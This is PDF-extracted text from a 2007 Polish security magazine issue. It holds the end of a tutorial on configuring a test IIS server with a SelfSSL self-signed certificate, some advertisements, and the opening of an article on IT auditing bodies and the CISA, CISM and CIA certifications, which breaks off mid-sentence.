•   http://www.microsoft.com/downloads/details.aspx?FamilyID=56fc92ee-a71a-

4c73-b628-ade629c89499&displaylang=en – link do pobrania pakietu IIS 6.0 Re-
source Kit Tool
, w którego skład wchodzi program SelfSSL użyty w artykule do ge-
nerowania publicznego klucza dla serwera IIS,

•   http://msdn.microsoft.com/vstudio/express/downloads/  –  miejsce,  skąd  można 

pobrać środowisko programistyczne Visual Web Developer Express Edition, które 
umożliwia tworzenie stron ASP.NET.

Listing 1. 

Testowa strona HTML

<

HTML

>

<

HEAD

>

<

TITLE

>

Test serwera WWW

<

/TITLE

>

<

/HEAD

>

<

BODY

>

Test serwera WWW

<

/BODY

>

<

/HTML

>

background image

Konfiguracja serwera IIS dla ASP.NET z protokołem SSL

hakin9 Nr 10/2007

www.hakin9.org

65

Będzie  wówczas  dostępna  bezpo-
średnio  po  wpisaniu  adresu  http:
//localhost/
. Jeśli coś nie działa, po-
zostaje  wyświetlenie  pliku  iis6.log 
w katalogu systemowym Windows, 
który  zawiera  informacje  o  działa-
niu  serwera  IIS.  Proste  strony  bę-
dą  na  pewno  działały  bez  zarzu-
tu.  Ze  skomplikowanym  serwisa-
mi, które jednocześnie korzystają z 
kilku technologii, sprawa może być 
nieco bardziej skomplikowana i wy-
magać może instalowania dodatko-
wych komponentów.

Instalacja 

certyfikatu SSL

Przechodzimy  teraz  do  skonfigu-
rowania serwera IIS w ten sposób, 
aby obsługiwał połączenia HTTPS. 
Dzięki  wielu  kreatorom  obecnym 
w  systemie  Windows  oraz  odpo-
wiedniemu oprogramowaniu, czyn-
ność  ta  będzie  również  niezwy-
kle prosta. Pierwszym krokiem bę-
dzie zainstalowanie programu Sel-
fSSL, który wchodzi w skład pakie-
tu  IIS  6.0  Resource  Kit  Tool.  Ge-
neruje  on  publiczny  klucz  dla  ser-
wera  IIS  i  automatycznie  konfi-
guruje  go  do  obsługi  stron  typu 
https://. Plik ten znajduje się w za-
sobach  http://www.microsoft.com/
downloads
,  a  pełny  link  do  jego 
pobrania  jest  dosyć  nieciekawy: 
h t t p : / / w w w . m i c r o s o f t . c o m /
downloads/details.aspx?FamilyID
=56fc92ee-a71a-4c73-b628-ade-
629c89499&displaylang=en
.  Na-
zwa  pliku  to  iis60rkt.exe.  Po  po-
braniu  uruchamiamy  go.  Na  ekra-
nie  naszego  komputera  powinno 
pojawić się okno instalatora pakie-

tu  IIS  6.0  Resource  Kit  Tool.  Jak 
zwykle  w  przypadku  instalatorów 
w systemie Windows, klikamy przy-
cisk Next. Po drodze zgadzamy się 
na  warunki  licencji  (nie  mamy  in-
nego  wyboru,  jeżeli  chcemy  zain-
stalować  ten  pakiet).  Ponieważ  w 
skład pakietu IIS 6.0 Resource Kit 
Tool
 wchodzi sporo programów na-
rzędziowych, a my chcemy jedynie 

skonfigurować  połączenie  HTTPS, 
to w oknie wyboru rodzaju instalacji 
wybieramy  opcję  Custom.  Umożli-
wia nam to samodzielny wybór ele-
mentów z pakietu. 

Kolejnym  krokiem  jest  wybra-

nie ścieżki dostępu, w której chce-
my zainstalować pakiet IIS 6.0 Re-
source  Kit  Tool
.  Po  wyborze  miej-
sca  instalacji  wybieramy  elementy, 
które chcemy zainstalować. Ponie-
waż mamy zamiar uruchomić połą-
czenie  HTTPS  z  protokołem  SSL, 
wybieramy  jedynie  program  Sel-
fSSL  1.0  (Rysunek  4).  Oczywiście 
nic  nie  stoi  na  przeszkodzie,  aby 
zainstalować  wszystkie  programy 
wchodzące  w  skład  IIS  6.0  Reso-
urce Kit Tool
.

Przed  właściwą  instalacją  wy-

świetlone  zostanie  jeszcze  okno 
potwierdzające  wybrane  przez 
nas  programy.  Klikamy  przycisk 
Next  i  czekamy,  aż  instalator  za-

Lista niektórych CA

•   VeriSign – http://www.verisign.com/index2.html,
•   Thawte – http://www.thawte.com/,
•   QualitySSL – http://www.qualityssl.com/,
•   ComodoSSL – http://www.instantssl.com/,
•   IpsCA – http://certs.ipsca.com/,
•   RapidSSL – http://www.rapidssl.com/index_ssl.htm,
•   Go Daddy – https://www.godaddy.com/gdshop/ssl/ssl.asp?isc=sslsomt04,
•   CAcert – http://www.cacert.org/,
•   Home.pl – http://home.pl/serwery/ssl,
•   Signet – http://www.signet.pl/index.html.

Rysunek 3. 

Najprostszy test serwera WWW

Rysunek 4. 

Wybór składników pakietu IIS 6.0 Resource Kit Tool

background image

hakin9 Nr 10/2007

www.hakin9.org

Obrona

66

kończy  kopiować  pliki.  Tradycyj-
nie  na  końcu  klikamy  przycisk  Fi-
nish
,  który  kończy  instalację.  W 
ten  sposób  zainstalowaliśmy  pro-
gram  SelfSSL,  generujący  auto-
matycznie  certyfikaty  SSL  i  insta-
lujący  je  w  serwerze  IIS.  Należy 
mieć  na  uwadze  fakt,  że  certyfi-
katy te nie są potwierdzane przez 
żadną  z  wymienionych  wcześniej 
firm, więc przy uruchamianiu witry-
ny  WWW  przeglądarka  interneto-
wa  będzie  wyświetlała  odpowied-
nie ostrzeżenia. 

Pozostało nam jeszcze wygene-

rowanie klucza publicznego dla ser-
wera  IIS.  Pakiet  IIS  6.0  Resource 
Kit Tool
 w menu Start systemu Win-
dows w katalogu Programy/IIS Re-
sources/
 umieszcza wszystkie swo-
je składowe (zależnie od typu insta-
lacji).  Z  menu  Start  wybieramy  ka-
talog  Programy/IIS  Resources/Sel-
fSSL
 i klikamy ikonę SelfSSL. Otwo-
rzy się widoczne na Rysunku 5 okno 
komend.

W  celu  wygenerowania  klucza 

publicznego  wydajemy  komendę: 

selfssl.exe  /t

.  Zostaniemy  popro-

szeni o potwierdzenie instalacji cer-
tyfikatu  SSL  dla  serwera  IIS.  Wpi-
sujemy  z  klawiatury  y  i  przyciska-
my klawisz Enter. W ten sposób zo-
staje  zainstalowany  klucz  publicz-
ny.  Pozostałe  opcje  programu  sel-
fssl.exe
 to:

•  

/T

  –  Opcja  użyta  przez  nas  do 

automatycznego  wygenerowa-
nia certyfikatu. Wybiera wszyst-
kie inne parametry jako domyśl-
ne,

•  

/N

  –  Ustala  nazwę  certyfikatu. 

Domyślnie jest to nazwa kompu-
tera,

•  

/K

  –  Wielkość  klucza  SSL.  Do-

myślnie  wartość  ta  jest  równa 
1024,

•  

/V

 – Ilość dni, jakie wygenerowa-

ny  certyfikat  ma  obowiązywać. 
Domyślnie jest to 7 dni,

•  

/S

  –  Numer  identyfikacyjny  wi-

tryny na serwerze IIS. Domyślna 
wartość to 1. Tu zresztą nie ma-
my zbyt wielkiego wyboru, jeżeli 
serwer  IIS  został  skonfigurowa-
ny tak jak w opisie,

•  

/P

 – Numer portu dla połączenia 

SSL.  Standardowo  jest  to  port 
443,

•  

/Q

  –  Nadpisywanie  klucza  bez 

potwierdzenia,

Jedyne, co nam teraz pozostaje, to 
sprawdzenie, czy całość działa. Za-
kładam, że mamy zdefiniowaną pro-
stą stronę ASP.NET 2.0 w serwerze 
IIS i jest ona w jego katalogu www-
root
.  Uruchamiamy  przeglądar-
kę internetową i wpisujemy tym ra-
zem  adres  https://localhost.  Ponie-
waż  nasz  certyfikat  nie  jest  podpi-
sany przez żadną z organizacji CA, 
powinniśmy  zostać  zapytani  przez 
przeglądarkę, czy akceptujemy cer-
tyfikat tej strony oraz poinformowani 
o ewentualnych zagrożeniach. Jeśli 
opisane kroki wykonaliśmy popraw-

nie, wówczas w przeglądarce inter-
netowej  powinna  się  pojawić  ikona 
kłódki  i  informacja,  że  połączenie 
jest szyfrowane.

Podsumowanie

Testowy  serwer  IIS  wraz  z  obsłu-
gą  połączeń  HTTPS  jest  już  skon-
figurowany. Dzięki niemu będziemy 
mogli  sprawdzać  witryny  ASP.NET 
wymagające uwierzytelnienia SSL. 
Ponieważ  artykuł  ten  skierowany 
jest  do  programistów,  a  jego  zało-
żeniem było przedstawienie platfor-
my  testowej  dla  witryn  ASP.NET  z 
połączeniem HTTPS, to tak skonfi-
gurowanego  serwera  IIS  nie  nale-
ży udostępniać w Internecie – chy-
ba, że lubi się ryzyko. Udanych te-
stów! l

Rysunek 5. 

Generowanie publicznego klucza dla serwera IIS

O autorach

Sławomir Orłowski – z wykształcenia fizyk. Obecnie jest doktorantem na Wydzia-
le Fizyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikołaja Kopernika w 
Toruniu. Zajmuje się symulacjami komputerowymi układów biologicznych (dyna-
mika molekularna) oraz bioinformatyką. Programowanie jest nieodzowną częścią 
jego pracy naukowej i dydaktycznej. Ma doświadczenie w programowaniu w języ-
kach C, C++, Delphi, Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje 
od 2002 roku. Strona domowa: http://www.fizyka.umk.pl/~bigman/
Kontakt z autorem: bigman@fizyka.umk.pl
Jacek Matulewski – fizyk zajmujący się na co dzień optyką kwantową i układa-
mi  nieuporządkowanymi  na  Wydziale  Fizyki,  Astronomii  i  Informatyki  Stosowa-
nej Uniwersytetu Mikołaja Kopernika w Toruniu. Jego specjalnością są symula-
cje  ewolucji  układów  kwantowych  oddziałujących  z  silnym  światłem  lasera.  Od 
1998 roku interesuje się programowaniem dla systemu Windows, w szczególno-
ści w środowisku Borland C++Builder. Ostatnio zainteresowany platformą .NET i 
językiem C#. Poza opublikowanymi u nas książkami dotyczącymi programowa-
nia przygotował również cykl artykułów dla czasopisma „PC World Komputer” (od 
sierpnia 2005 roku). Wierny użytkownik kupionego w połowie lat osiemdziesiątych 
komputera osobistego ZX Spectrum 48k. 
Kontakt z autorem: jacek@fizyka.umk.pl

background image

Media Systems

Firma Media Systems oferuje Państwu 

profesjonalny system CashBill.pl, 

umożliwiający  zarządzanie  usługami 

SMS  Premium  Rate  w  sektorze  B2B 

i B2C.

Oferujemy  również  szeroki  wachlarz 

usług mikropłatniczych, płatności 

elektronicznych oraz indywidualne, de-

dykowane rozwiązania przy budowie 

aplikacji mobilnych. 

TTS Company Sp. z o.o.

Oprogramowanie 

komputerowe - 

sprzedaż,  dystrybucja  oraz import na 

zamówienie.  W  ofercie  programy  au-

torstwa ponad stu firm z całego świa-

ta. Zapraszamy do współpracy - zostań 

naszym klientem lub dostawcą. 

www.OprogramowanieKomputerowe.pl

Zepter IT

Zepter  IT  to  dynamicznie  rozwijająca 

się firma, specjalizująca się w realiza-

cji projektów informatycznych.

Oferujemy  rozwiązania  dla  biznesu 

i  zarządzania  takie  jak  systemy  ERP 

czyli zarządzanie zasobami firmy, pod-

noszenie jakości i obniżanie kosztów.

Zepter  IT  świadczy  również  usługi  in-

ternetowe - serwisy www, e-commerce, 

tworzenie  aplikacji  internetowych  oraz 

systemów zarządzania treścią. 

www.zepterit.com

Pr

en

um

er

at

PR

O

Prenumerata PRO

ko

nt

ak

t d

na

s:

 

m

ar

ty

na

.z

ac

ze

k@

so

ft

w

ar

e.

co

m

.p

l

ka

ta

rz

yn

a.

ju

sz

cz

yn

sk

a@

so

ft

w

ar

e.

co

m

.p

l

te

l. 

: 2

88

13

 4

5

Petrosoft

Partner Microsoft Bussiness Solutions 

Dynamics  GP.  Budowa  sklepów  inter-

netowych, serwisów WWW, prezentacji 

multimedialnych.  Budowa  sieci  LAN, 

WAN,  telekomunikacyjnych.  Telefonia 

stacjonarna,  VoiceIP.  Usługi  outsor-

cingowe  dla  dużych  firm  z  zakresu 

informatyki  i  telekomunikacji.  Opro-

gramowanie na zamówienia. Dostawa 

serwerów, sprzętu, oprogramowania.

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

background image

www.hakin9.org

hakin9 Nr 10/2007

68

Bezpieczna Firma

A

udyt informatyczny (wg. ISACA) – jest 
to  proces  zbierania  i  oceniania  dowo-
dów w celu określenia, czy system in-

formatyczny  i  związane  z  nim  zasoby  właści-
wie  chronią  majątek,  utrzymują  integralność 
danych, dostarczają odpowiednich i rzetelnych 
informacji, osiągają efektywnie cele organiza-
cji,  oszczędnie  wykorzystują  zasoby  i  stosują 
mechanizmy kontroli wewnętrznej tak, aby do-
starczyć rozsądnego zapewnienia, że osiąga-
ne są cele operacyjne i kontrolne oraz że chro-
ni się przed niepożądanymi zdarzeniami lub są 
one na czas wykrywane, a ich skutki na czas 
korygowane. 

Nikogo nie trzeba przekonywać, że współ-

czesne  środowisko  zarówno  międzynarodo-
wego,  jak  i  lokalnego  biznesu  nie  może  się 
obyć bez wsparcia ze strony rozwiązań infor-
matycznych.  Ciągły  rozwój  nowych  technolo-
gii usprawnia działanie firmy, wspomaga osią-
ganie  celów  biznesowych  i  zwiększa  konku-
rencyjność organizacji. Pomimo tak wielu za-
let, jakie przynosi informatyzacja dla instytucji 
i podmiotów gospodarczych, musimy przyjrzeć 
się zagrożeniom, jakim w związku z nią przyj-
dzie  nam  stawić  czoła.  Badania  Europejskie-
go Instytutu Zarządzania dowodzą, że co ro-

ku każda duża firma traci około 1,6 mln euro w 
wyniku  nieodpowiedniego  zarządzania  infra-
strukturą i systemami informatycznymi. Szacu-
je się również, że w małych i średnich firmach 
jest podobny problem – straty w przychodach 
z  tytułu  złego  zarządzania  w  IT  sięgają  15% 
– 25%. Według badań uniwersytetu w Chicago 
połowa firm, którym skradziono dane, bankru-
tuje prawie natychmiast, zaś 30% w ciągu na-
stępnego roku. Potrzeba i konieczność ochro-
ny informacji przed stale rosnącą liczbą nad-
użyć, świadomych lub nieświadomych działań 
lub też zaniechania poczynań przeciw zagro-

Audyt systemów 

informatycznych

Wojciech Malec

stopień trudności

Żadne rozwiązania informatyczne nie są w pełni doskonałe, 

a sama organizacja bezpieczeństwa teleinformatycznego nie jest 

łatwym zadaniem. Taka sytuacja rodzi duże prawdopodobieństwo 

powstania nieprawidłowości i nadużyć, które nieuchronnie 

prowadzą do braku osiągnięcia celów biznesowych, poniesienia 

strat finansowych lub też upadłości organizacji.

Z artykułu dowiesz się

•  co to jest i jak powstał audyt informatyczny,
•   jakie są najważniejsze organizacje zawodowe 

właściwe dla audytu informatycznego, jakie są  
certyfikaty dla audytorów i w jakim celu są wy-
dawane.

Co powinieneś wiedzieć

•  znać  podstawowe  zasady  bezpieczeństwa  in-

formatycznego.

background image

Audyt systemów informatycznych

hakin9 Nr 10/2007

www.hakin9.org

69

żeniom  jest  oczywista.  Liczba  spo-
sobów  ochrony  przed  zagrożenia-
mi, a także narzędzi pomocniczych, 
stale  wzrasta.  Dobór  odpowiednich 
mechanizmów  tak,  aby  odpowiada-
ły potrzebom i możliwościom organi-
zacji  wymaga  zastosowania  dodat-
kowych  narzędzi.  Do  tych  właśnie 
celów  ma  zastosowanie  audyt  sys-
temów  informatycznych.  Jako  nie-
zależne  źródło  kontroli  organizacji 
bezpieczeństwa systemów informa-
tycznych, audyt nie tylko weryfikuje 
dobór  zastosowanych  środków,  ale 
bardzo  często  zapobiega  naduży-
ciom  i  przestępstwom  wymierzo-
nym  w  organizację.  Ceny  audytów 
informatycznych  są  zależne  od  ich 
zakresu.  Jeśli  chodzi  tylko  o  audyt 
sprzętu, oprogramowania na nim za-
instalowanego i jego legalności, na-
leży liczyć ok. 90 PLN za stację ro-
boczą.

Historia audytu 

informatycznego

Audyt  jako  pierwszy  pojawił  się  w 
sektorze  finansów,  gdzie  badano 
sprawozdania  finansowe  przedsię-
biorstw  i  instytucji.  W  obszarze  au-
dytu  finansowego  powołano  orga-
nizacje,  które  mają  za  zadanie  po-
twierdzić  kwalifikacje  audytorów 
ksiąg  rachunkowych  poprzez  certy-
fikację. Z tą dziedziną związana jest 
międzynarodowa  organizacja  Asso-
ciation of Chartered Certified Acco-
untants
 – Stowarzyszenie Certyfiko-
wanych Księgowych a w Polsce Kra-
jowa Izba Biegłych Rewidentów. Na-
stępnym  krokiem  przyczyniającym 
się do rozwoju audytu było rozpropa-
gowanie  i  rozwój  audytu  wewnętrz-
nego.  W  tej  dziedzinie  powstała 
międzynarodowa  organizacja  Insty-
tut  Audytorów  Wewnętrznych  –  In-
stitute  of  Internal  Auditors
,  do  kom-
petencji  której  należy  między  inny-
mi  ustalanie  właściwych  standar-
dów.  W  Polsce  odpowiednikiem  tej 
organizacji  jest  Polski  Instytut  Kon-
troli Wewnętrznej. Z początku przed-
miotem  audytu  była  tylko  dziedzina 
finansowa,  później  nastąpiła  ewolu-
cja i zakres audytu rozszerzył się na 
wszystkie procesy występujące w in-
stytucji. Trudności w organizacji, za-

rządzaniu i kontroli energicznie roz-
wijających  się  technologii  informa-
tycznych,  jak  również  stale  rosnące 
zagrożenia  mające  wpływ  na  bez-
pieczeństwo  informacji,  spowodo-
wały powstanie audytu informatycz-
nego. Tak jak w przypadku audytu fi-
nansowego,  instytucje  zaczęły  two-
rzyć  specjalne  działy  wyspecjalizo-
wane  w  prowadzeniu  audytu  infor-
matycznego.

Organizacje zawodowe

W  ramach  audytów  finansowych 
powstały  organizacje  zrzeszają-
ce i w pewien sposób autoryzujące 
profesjonalistów w dziedzinie audy-
tu finansowego. Podobnie stało się 
w  obszarze  audytu  informatyczne-
go.  Potrzeba  kontaktów  w  celach 
wymiany  poglądów,  wiedzy  i  do-
świadczeń, a także ustalania stan-
dardów  wśród  audytorów  informa-
tycznych zaowocowała powstaniem 
organizacji  zawodowych  jednoczą-
cych  ludzi  wykonujących  wspólną 
profesję.

ISACA

Information Systems Audit and Con-
trol  Organisation
  –  pierwsza  i  naj-
większa  międzynarodowa  organiza-
cja w dziedzinie audytu informatycz-
nego powstała w roku 1967. Dziś li-
czy  ponad  50  000  osób  w  prze-
szło  140  krajach  na  całym  świecie. 
W  Polsce  od  1997  roku  istnieje  je-
den  oddział  stowarzyszenia  –  ISA-
CA Warsaw Charter. Organizacja ta 
ma na celu podnoszenie wiedzy oraz 
praktyki w obszarze audytu i kontro-
li systemów informatycznych. Człon-
kowie  stowarzyszenia  i  posiadacze 
certyfikatów  ISACA  są  zobowiąza-
ni  do  przestrzegania  zasad  postę-
powania Kodeksu Etyki Zawodowej. 
ISACA wspiera i promuje także stan-
dardy  i  dobre  praktyki  skutecznego 
zarządzania  oraz  kontroli  technolo-
gii  informatycznych.  Stowarzysze-
nie  to  jest  między  innymi  autorem 
programu PSS – Professional Semi-
nar Serie
s, wydaje certyfikaty CISA 
– Certified Information Systems Au-
ditor
  i  CISM  –  Certified  Information 
Security  Manager.
  Najbardziej  zna-
nym standardem zarządzania i kon-

troli  systemów  informatycznych  tej 
organizacji jest COBIT – Control Ob-
jectives for Information and Related 
Technology
. Innym znanym standar-
dem  audytu  środowiska  sieciowego 
jest  CONeCT  –  Control  Objectives 
for Net Centric Technology.

IIA

The Institute of Internal Auditors – to 
międzynarodowa  organizacja  sku-
piająca  audytorów  wewnętrznych 
(ponad  80  tysięcy  członków  w  120 
krajach). Polski oddział został zare-
jestrowany w 2002 roku jako Stowa-
rzyszenie Audytorów Wewnętrznych 
IIA-Polska.  Organizacja  ta  zrzesza 
zarówno  obecnych  audytorów,  jak  i 
kandydatów. Do stowarzyszenia mo-
gą należeć także inne osoby zainte-
resowane  tą  profesją  –  kontrolerzy, 
księgowi,  członkowie  rad  nadzor-
czych, pracownicy naukowi, studen-
ci związanych kierunków.

Główne cele IIA:

•   działalność promocyjna audytora 

wewnętrznego,

•   upowszechnianie międzynarodo-

wych Standardów Profesjonalnej 
Praktyki Audytu Wewnętrznego,

•   podejmowanie  i  prowadzenie 

działalności w zakresie doskona-
lenia kwalifikacji dla prawidłowe-
go wykonywania zawodu audyto-
ra  wewnętrznego  oraz  możliwo-
ści zatrudnienia,

•   reprezentowanie i ochrona praw i 

interesów zawodowych członków 
stowarzyszenia,

•   krzewienie  poczucia  godności  i 

wspólnoty  zawodowej  oraz  upo-
wszechnienie pozycji i znaczenia 
zawodu audytora wewnętrznego,

•   stworzenie  forum  wymiany  do-

świadczeń,

•   krzewienie  i  propagowanie  za-

sad etyki i rzetelności, lojalności 
zawodowej oraz uczciwej konku-
rencji,

•   czuwanie  nad  przestrzeganiem 

tych zasad,

•   prowadzenie działalności nauko-

wo-dydaktycznej (w tym również 
kształcenie studentów), jak i sze-
roko rozumianej działalności kul-
turalnej.

background image

hakin9 Nr 10/2007

www.hakin9.org

Bezpieczeństwo w firmie

70

Instytut  Audytorów  Wewnętrznych 
daje  możliwość  uzyskania  certyfi-
katów  zawodowych  poświadczają-
cych  międzynarodowe  przygotowa-
nie  zawodowe  w  zakresie  audytu 
wewnętrznego.  Zasadniczym  mię-
dzynarodowym certyfikatem jest CIA 
– Certified Internal Auditor.

PIKW

Polski Instytut Kontroli Wewnętrznej 
– jest to instytucja założona w roku 
1998,  która  przygotowuje  kadry  do 
oceny  systemów  kontroli  wewnętrz-
nej  i  profesjonalnego  wykonywania 
zawodu  audytora  wewnętrznego. 
Organizacja  ta  zajmuje  się  proble-
matyką systemów kontroli wewnętrz-
nej,  audytu  wewnętrznego,  proce-
sów  zarządzania  ryzykiem,  zarzą-
dzania  korporacyjnego  (governan-
ce),  wykrywania  i  zapobiegania  ko-
rupcji, oszustwom oraz nadużyciom. 
Wspomaga  też  kształcenie  audyto-
rów i kontrolerów wewnętrznych za-
trudnionych  we  wszystkich  organi-
zacjach  gospodarki  i  administracji 
państwowej  w  Polsce.  Instytut  ten 
współpracuje  z  międzynarodowymi 
organizacjami,  dostosowuje  najlep-
sze  standardy  i  praktyki  stosowane 
na całym świecie (szczególnie w kra-
jach UE) do polskich warunków.

Certyfikacja

W  celu  uwiarygodnienia  dostaw-
ców  usług  audytorskich  o  należy-
tym  poziomie  profesjonalizmu,  za-
istniała  potrzeba  udokumentowania 
i potwierdzenia uprawnień oraz obo-
wiązków. Dla poświadczenia kompe-
tencji  grupy  zawodowej  audytorów 
systemów  informatycznych,  właści-
we  organizacje  opracowały  progra-
my certyfikujące.

CISA

Certified  Information  Systems  Au-
ditor
 – to międzynarodowy program 
certyfikacji  audytorów  systemów  in-
formatycznych  opracowany  przez 
organizację  ISACA.  Certyfikat  ten 
ma  za  zadanie  utrzymanie  właści-
wego  poziomu  zawodowego  osób 
związanych  z  bezpieczeństwem  in-
formatycznym. Nad rozwojem syste-
mu  certyfikacji  czuwa  specjalnie  do 

tego celu wyznaczony komitet – CI-
SA Certification Board.

Cel programu certyfikacji:

•   rozwój i utrzymanie narzędzi te-

stowania, służących do oceny in-
dywidualnych kompetencji w za-
kresie audytów informatycznych,

•   dostarczanie  mechanizmów  mo-

tywujących  do  utrzymywania 
swoich  kompetencji  oraz  moni-
torowania  efektów  programów 
szkoleniowych,

•   pomoc  kadrze  kierowniczej  w 

rozwijaniu  funkcji  kontroli  syste-
mów informatycznych.

Certyfikat  ten  posiada  już  około  12 
000  osób  na  całym  świecie.  Egza-
min odbywa się dwa razy do roku: w 
drugą sobotę czerwca i drugą sobotę 
grudnia. W Polsce egzamin ma miej-
sce  w  Warszawie.  Wymagania  dla 
kandydatów  chcących  uzyskać  cer-
tyfikat CISA:

•   udokumentowanie  minimum  pię-

ciu lat praktyki w zakresie audy-
tu, kontroli i bezpieczeństwa sys-
temów informatycznych,

•   opłacenie kosztów egzaminu,
•   zdanie egzaminu,
•   stosowanie Kodeksu Etyki Zawo-

dowej ISACA.

Certyfikat  CISA  ma  obecnie  dość 
duże znaczenie na rynku pracy, sta-
nowi bowiem poświadczenie kompe-
tencji zawodowych osoby posiadają-
cej  certyfikat  oraz  stałe  podnosze-
nie kwalifikacji dzięki polityce ciągłe-
go  kształcenia.  Z  tego  także  powo-
du  liczba  kandydatów  do  egzaminu 
CISA  stale  wzrasta.  Egzamin  CISA 
składa się z 200 pytań. Do każdego 
pytania są cztery odpowiedzi, z któ-
rych  jedna  jest  poprawna.  Egzamin 
trwa cztery godziny, prowadzony jest 
w  językach:  angielskim,  duńskim, 
francuskim,  hebrajskim,  hiszpań-
skim,  japońskim,  koreańskim,  nie-
mieckim i włoskim. Wiedzę z zakre-
su egzaminu można zdobyć na spe-
cjalnych  szkoleniach  przygotowa-
nych  przez  stowarzyszenie  ISACA. 
Również  uczelnie  –  zarówno  pań-
stwowe, jak i prywatne – dają moż-

liwość pogłębienia tej wiedzy na róż-
nego  rodzaju  studiach  podyplomo-
wych.  Koszt  certyfikacji  to  wydatek 
360 – 530 USD w zależności od ter-
minu rejestracji na egzamin i przyna-
leżność do organizacji ISACA. Zniż-
ki są przyznawane dla członków or-
ganizacji i przy wcześniejszym zgło-
szeniu  on-line  na  stronie  http://
www.isaca.org/examreg
.

Zagadnienia  obowiązujące  na 

egzaminie CISA:

•   proces  audytowania  systemów 

informatycznych – 10% pytań,

•   zarządzanie,  planowanie  i  orga-

nizacja  systemów  informatycz-
nych – 11% pytań,

•   infrastruktura  techniczna  i  prak-

tyki operacyjne – 13% pytań,

•   ochrona  zasobów  informacyj-

nych – 25% pytań,

•   odtwarzanie  po  katastrofach  i 

ciągłość biznesu – 10% pytań,

•   rozwój,  nabywanie,  wdrażanie  i 

utrzymywanie  biznesowych  sys-
temów  aplikacyjnych  –  16%  py-
tań,

•   ocena  procesu  biznesowego  i 

zarządzanie ryzykiem – 15% py-
tań.

CISM

Certified  Information  Security  Ma-
nager
 – jest to certyfikat opracowa-
ny  także  przez  organizację  ISACA, 
jednak  skierowany  dla  zarządzają-
cych,  projektujących,  wdrażających 
i  rozwijających  proces  bezpieczeń-
stwa organizacji. Osoby szczególnie 
zasłużone  dla  rozwoju  audytu  sys-
temów  informatycznych  otrzymały 
ten  certyfikat  jako  pierwsze.  Obec-
nie, aby móc tytułować się tym cer-
tyfikatem, oprócz udokumentowania 
wieloletniego  doświadczenia  zawo-
dowego, należy także zdać egzamin. 
Egzamin  CISM  odbywa  się  w  tych 

Literatura

Marian  Molski,  Małgorzata  Łacheta, 
Przewodnik audytora systemów informa-
tycznych
, Wydawnictwo HELION, 2007. 
Tomasz  Polaczek,  Audyt  bezpieczeń-
stwa informacji w praktyce
, Wydawnic-
two HELION, 2006.

background image

Audyt systemów informatycznych

hakin9 Nr 10/2007

www.hakin9.org

71

samych  terminach  co  CISA,  forma 
egzaminu  jest  też  bardzo  podobna. 
Koszt certyfikacji jest zależny termi-
nu egzaminu i przynależności do or-
ganizacji  ISACA,  wynosi  identycz-
nie jak w przypadku egzaminu CISA 
od 360 do 530 USD. Wymagania dla 
kandydatów  chcących  uzyskać  cer-
tyfikat CISM:

•   udokumentowanie  minimum  pię-

ciu  lat  praktyki  w  obszarze  bez-
pieczeństwa  systemów  informa-
tycznych,

•   opłacenie kosztów egzaminu,
•   zdanie egzaminu CISM,
•   stosowanie Kodeksu Etyki Zawo-

dowej ISACA.

CIA

Certified Internal Auditor – certyfikat 
ten oferowany jest przez organizację 
IIA.  Sprawdza  i  zaświadcza  wiedzę 
i  umiejętności  w  zakresie  niezbęd-
nym do wykonywania zawodu audy-
tora wewnętrznego. Wymagania dla 
kandydatów  chcących  uzyskać  cer-
tyfikat CIA:

•   posiadanie  minimum  dwuletnie-

go doświadczenia w audycie we-
wnętrznym,

•   przedstawienie  poświadczenia  o 

postawie  zawodowej  i  moralnej 
kandydata,

•   ukończenie  studiów  wyższych  z 

dyplomem minimum licencjata,

•   zdanie  czterech  części  egzami-

nu.

Instytut  IIA  przyznał  już  ponad  40 
tysięcy  takich  certyfikatów.  Oferuje 
także  trzy  inne  specjalistyczne  cer-
tyfikaty:

•   CFSA – Certified Financial Servi-

ces Auditor,

•   CGAP  –  Certified  Government 

Auditing Professional,

•   CCSA  –  Certification  in  Control 

Self-Assessment.

Egzaminy CIA odbywają się dwa ra-
zy do roku – w maju i listopadzie, tak-
że w Polsce. Szkolenia przygotowaw-
cze prowadzi między innymi Ernst & 
Young  Academy  of  Business
.  Koszt 
uzyskania certyfikatu obejmuje opła-
tę  rejestracyjną  ważną  przez  2  lata, 
która wynosi 30 USD dla studentów, 
60 USD dla członków IIA lub 75 USD 
dla pozostałych osób. Za każdy egza-
min należy uiścić opłatę w wysokości 
odpowiednio 35 USD – studenci, 70 
USD  –  członkowie  IIA  oraz  95  USD 
– pozostałe osoby. Program egzami-
nu składa się z czterech części. Na-
leży tu podkreślić, iż posiadanie cer-
tyfikatu CISA zwalnia z czwartej czę-
ści egzaminu.

Część I

Rola procesu audytu wewnętrznego 
w zakresie nadzoru korporacyjnego, 
ryzyka i kontroli:

•   zgodność ze standardami IIA do-

tyczącymi atrybutów audytu we-
wnętrznego: 15% – 25%,

•   tworzenie  planu  oraz  określe-

nie  priorytetów  działania  audytu 
wewnętrznego kierując się ryzy-
kiem: 15% – 25%,

•   rozumienie  roli  procesu  audytu 

wewnętrznego w zakresie nadzo-
ru organizacyjnego: 10% – 20%,

•   wypełnianie  pozostałych  ról  i 

odpowiedzialności  audytu  we-
wnętrznego: 0% – 10%,

•   elementy wiedzy w zakresie nad-

zoru  organizacyjnego,  ryzyka  i 
kontroli: 15% – 25%,

•   planowanie zadań: 15% – 25%.

Część II

Wykonywanie  zadań  audytu  we-
wnętrznego:

•   wykonywanie 

zadań: 

25% 

– 35%,

•   wykonywanie  zadań  szczegól-

nych: 25% – 35%,

•   monitorowanie  wyników  zadań: 

5% – 15%,

•   elementy  wiedzy  w  zakresie 

oszustw: 5% – 15%,

•   narzędzia do realizacji zadań au-

dytorskich: 15% – 25%.

Część III

Analizy  biznesowe  i  technologie  in-
formatyczne:

•   procesy biznesowe: 15% – 25%,
•   rachunkowość finansowa i finan-

se: 15% – 25%,

•   rachunkowość  zarządcza:  10% 

– 20%,

•   regulacje, prawo i ekonomia: 5% 

– 15%,

•   technologie  informatyczne  (IT): 

30% – 40%.

Część IV

Umiejętności  w  zarządzaniu  przed-
siębiorstwem:

•   zarządzanie  strategiczne:  20% 

– 30%,

•   globalne  otoczenie  biznesowe: 

15% – 25%,

•   działania  w  organizacji:  20% 

– 30%,

•   umiejętności  kierownicze:  20% 

– 30%,

•   negocjacje: 5% – 15%.

Podsumowanie

W  procesie  audytu  bardzo  waż-
nym składnikiem jest czynnik ludz-
